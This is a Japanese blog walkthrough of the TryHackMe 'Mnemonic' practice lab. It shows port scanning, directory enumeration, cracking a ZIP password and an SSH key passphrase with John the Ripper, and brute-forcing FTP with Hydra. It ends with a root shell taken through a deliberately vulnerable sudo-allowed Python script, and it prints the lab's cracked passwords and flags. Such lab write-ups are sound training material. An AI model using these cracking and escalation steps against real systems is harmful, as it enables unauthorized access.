0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Mnemonic:Walkthrough

Posted at

概要

TryHackMe「Mnemonic」のWalkthroughです。

Task2

Q1.How many open ports?

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.224.98 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/webmasters/*
|_http-title: Site doesn't have a title (text/html).
1337/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e0:42:c0:a5:7d:42:6f:00:22:f8:c7:54:aa:35:b9:dc (RSA)
|   256 23:eb:a9:9b:45:26:9c:a2:13:ab:c1:ce:07:2b:98:e0 (ECDSA)
|_  256 35:8f:cb:e2:0d:11:2c:0b:63:f2:bc:a0:34:f3:dc:49 (ED25519)

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
80 http Apache httpd 2.4.29
1337 ssh OpenSSH 7.6p1

A.3

Q2.what is the ssh port number?

ポートスキャンの結果から1337でSSHが動作していると分かりました。

A.1337

Q3.what is the name of the secret file?

/robots.txtから/webmasters/パスを得られました。

/robots.txt
User-agent: *
Allow: / 
Disallow: /webmasters/*

/webmasters/配下のディレクトリ列挙を行います。

$ dirsearch -u http://10.10.224.98/webmasters
[11:00:43] 301 -  323B  - /webmasters/admin  ->  http://10.10.224.98/webmasters/admin/
[11:00:45] 200 -  437B  - /webmasters/admin/admin.html
[11:00:45] 200 -  138B  - /webmasters/admin/login.html
[11:01:02] 301 -  325B  - /webmasters/backups  ->  http://10.10.224.98/webmasters/backups/

/webmasters/admin/,/webmasters/backupsを発見しました。
/webmasters/backups配下をされに列挙します。

$ dirsearch -u http://10.10.224.98/webmasters/backups
[11:03:40] 200 -  409B  - /webmasters/backups/backups.zip

backups.zipを発見できました。

A.backups.zip

Task3

Q1.ftp user name?

/webmasters/backups/backups.zipをダウンロードします。

$ wget http://10.10.224.98/webmasters/backups/backups.zip

解凍を試みるとパスワードが必要になりました。
JohnTheRipperでパスワードをクラックします。

$ zip2john backups.zip > backups_hash
$ john backups_hash --wordlist=/usr/share/wordlists/rockyou.txt
00385007         (backups.zip/backups/note.txt)

パスワードが判明したのでZIPファイルを解凍するとnote.txtを得られました。

$ unzip backups.zip
Archive:  backups.zip
[backups.zip] backups/note.txt password: 
  inflating: backups/note.txt

note.txtからFTPのユーザー名がわかりました。

backups/note.txt
@vill

James new ftp username: ftpuser
we have to work hard

A.ftpuser

Q2.ftp password?

FTPユーザー名が分かったのでパスワードをHydraで解析します。

$ hydra -f -l ftpuser -P /usr/share/wordlists/rockyou.txt 10.10.224.98 ftp -t 40
[21][ftp] host: 10.10.224.98   login: ftpuser   password: love4ever

パスワードが判明しました。

A.love4ever

Q3.What is the ssh username?

FTP接続します。

$ ftp 10.10.224.98 
Connected to 10.10.224.98.
220 (vsFTPd 3.0.3)
Name (10.10.224.98:kali): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

ディレクトリが多いので総当たりで中を見ていきます。

ftp> ls -la
229 Entering Extended Passive Mode (|||10083|)
150 Here comes the directory listing.
drwx------   12 1003     1003         4096 Jul 14  2020 .
drwx------   12 1003     1003         4096 Jul 14  2020 ..
lrwxrwxrwx    1 1003     1003            9 Jul 14  2020 .bash_history -> /dev/null
-rw-r--r--    1 1003     1003          220 Jul 13  2020 .bash_logout
-rw-r--r--    1 1003     1003         3771 Jul 13  2020 .bashrc
-rw-r--r--    1 1003     1003          807 Jul 13  2020 .profile
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-1
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-10
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-2
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-3
drwxr-xr-x    4 0        0            4096 Jul 14  2020 data-4
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-5
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-6
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-7
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-8
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-9
226 Directory send OK.

data-4ディレクトリでファイルを発見しました。

ftp> ls data-4
229 Entering Extended Passive Mode (|||10001|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 14  2020 3
drwxr-xr-x    2 0        0            4096 Jul 14  2020 4
-rwxr-xr-x    1 1001     1001         1766 Jul 13  2020 id_rsa
-rwxr-xr-x    1 1000     1000           31 Jul 13  2020 not.txt

ファイルをダウンロードしnot.txtnote.txtからSSHのユーザー名を予測できました。

not.txt
james change ftp user password

A.james

Q4.What is the ssh password?

id_rsaを見ると暗号化されているのが分かります。

$ cat id_rsa        
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,01762A15A5B935E96A1CF34704C79AC3

pSxCqzRmFf4dcfdkVay0+fN88/GXwl3LXOS1WQrRV26wqXTE1+EaL5LrRtET8mPM
dkScGB/cHICB0cPvn3WU8ptdYCk78w9X9wHpPBa6VLk1eRi7MANLcfRWxQ4GFwXp

JohnTheRipperで解析します。

$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
bluelove         (id_rsa)

パスワードがわかりました。

A.bluelove

Q5.What is the condor password?

Hint.mnemonic encryption "image based"

SSH接続します。

$ ssh -i id_rsa james@10.10.224.98 -p 1337
james@mnemonic:~$

/home/james/6450.txtからは何かのリストを得られました。

/home/james/6450.txt
5140656
354528
842004
1617534
465318
1617534
509634
1152216
753372
265896
265896
15355494
24617538
3567438
15355494

/home/condorへアクセスするとエラーが出て、base64でエンコードされた文字列が出力されました。

ls: cannot access '../condor/'\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\''': Permission denied
ls: cannot access '../condor/aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==': Permission denied
total 0
d????????? ? ? ? ?            ? 'aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw=='
d????????? ? ? ? ?            ? ''\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\'''

一つ目の文字列をデコードするとリンクがわかりました。

$ echo -n "aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==" | base64 -d
https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg

リンクにアクセスすると画像を得られました。

maxresdefault.jpg

6450.txtを使ってニーモニック暗号を解読します。
ツールは下記のレポジトリを使用しました。

実行時にエラーが出たので、Mnemonic/Mnemonic.pyの最初の方に下記コードを追記します。

sys.set_int_max_str_digits(10000)

実行し、パスフレーズを得られました。

$ python Mnemonic.py

Access Code image file Path:/home/kali/Mnemonic/maxresdefault.jpg
File exists and is readable

(1) ENCRYPT (2) DECRYPT                                                                                              

>>>>2
ENCRYPT Message to file Path'

Please enter the file Path:/home/kali/Mnemonic/6450.txt

pasificbell1981

A.pasificbell1981

Task4

Q1.user.txt

/home/condor配下の文字列をbse64でデコードしてフラグを入手できます。

$ echo -n "VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ==" | base64 -d
THM{a5f82a00e2feee3465249b855be71c01}

A.THM{a5f82a00e2feee3465249b855be71c01}

Q2.root.txt

Hint.THM{MD5}

sudo -lで確認します。

$ sudo -l
[sudo] password for condor: 
Matching Defaults entries for condor on mnemonic:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User condor may run the following commands on mnemonic:
    (ALL : ALL) /usr/bin/python3 /bin/examplecode.py

/bin/examplecode.pyを発見したので処理を確認します。

/bin/examplecode.py
#!/usr/bin/python3
import os
import time
import sys
def text(): #text print 


        print("""

        ------------information systems script beta--------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ----------------@author villwocki------------------""")
        time.sleep(2)
        print("\nRunning...")
        time.sleep(2)
        os.system(command="clear")
        main()


def main():
        info()
        while True:
                select = int(input("\nSelect:"))

                if select == 1:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip a")
                        print("Main Menü press '0' ")
                        print(x)

                if select == 2:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ifconfig")
                        print(x)

                if select == 3:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip route show")
                        print(x)

                if select == 4:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="cat /etc/os-release")
                        print(x)

                if select == 0: 
                        time.sleep(1)
                        ex = str(input("are you sure you want to quit ? yes : "))

                        if ex == ".":
                                print(os.system(input("\nRunning....")))
                        if ex == "yes " or "y":
                                sys.exit()
                      

                if select == 5:                     #root
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(2)
                        print(".......")
                        time.sleep(2)
                        print("System rebooting....")
                        time.sleep(2)
                        x = os.system(command="shutdown now")
                        print(x)

                if select == 6:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="date")
                        print(x)




                if select == 7:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="rm -r /tmp/*")
                        print(x)

                      
              


       


            

def info():                         #info print function
        print("""

        #Network Connections   [1]

        #Show İfconfig         [2]

        #Show ip route         [3]

        #Show Os-release       [4]

        #Root Shell Spawn      [5]           

        #Print date            [6]

        #Exit                  [0]

        """)

def run(): # run function 
        text()

run()

0を選択肢.を入力した際に、root権限で任意のコマンドを実行できるようになっています。

/bin/examplecode.py
if select == 0: 
    time.sleep(1)
    ex = str(input("are you sure you want to quit ? yes : "))
    
    if ex == ".":
            print(os.system(input("\nRunning....")))
    if ex == "yes " or "y":
            sys.exit()

権限昇格をします。

Select:0
are you sure you want to quit ? yes : .

Running..../bin/bash
root@mnemonic:/etc# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
THM{congratulationsyoumadeithashme}

ヒントからフラグの中身をMD5でハッシュ化してクリアです。

A.THM{2a4825f50b0c16636984b448669b0586}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?